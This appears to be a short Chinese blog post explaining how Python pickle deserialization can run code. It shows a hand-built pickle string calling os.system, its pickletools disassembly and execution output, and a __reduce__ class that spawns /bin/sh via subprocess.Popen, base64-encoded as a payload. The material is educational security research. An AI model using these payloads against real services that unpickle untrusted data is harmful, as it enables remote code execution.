python pickle 工作原理

发布时间：2019-09-18 07:24:51编辑：auto阅读（1770）

    pickle

    http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf

    https://blog.nelhage.com/2011/03/exploiting-pickle/

    https://lincolnloop.com/blog/playing-pickle-security/

    >>> import pickletools
    >>> print pickletools.dis("cos\nsystem\n(S'ls ~'\ntR.")
        0: c    GLOBAL     'os system'
       11: (    MARK
       12: S        STRING     'ls ~'
       20: t        TUPLE      (MARK at 11)
       21: R    REDUCE
       22: .    STOP
    highest protocol among opcodes = 0
    None

    >>> import cPickle
    >>> cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.")
    Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux
    0

    构造简单的执行语句，当然也可以通过类的__reduce__方法，也就是说在执行pickle反序列化的时候会用到__reduce__方法

    import cPickle
import subprocess
import base64

class RunBinSh(object):
  def __reduce__(self):
    return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))

    >>> class RunBinSh1(object):
    ...     def __reduce__(self):
    ...             return (subprocess.Popen, (('uname',),))
    ...
    >>> print (cPickle.dumps(RunBinSh1()))
    csubprocess
    Popen
    p1
    ((S'uname'
    tp2
    tp3
    Rp4
    .

    >>> print cPickle.loads((cPickle.dumps(RunBinSh1())))
    <subprocess.Popen object at 0xb70cebac>
    >>> Linux

    这样就能简单构造loads语句了


关键字：

上一篇： python编码转换实验

下一篇： Python学习日记－2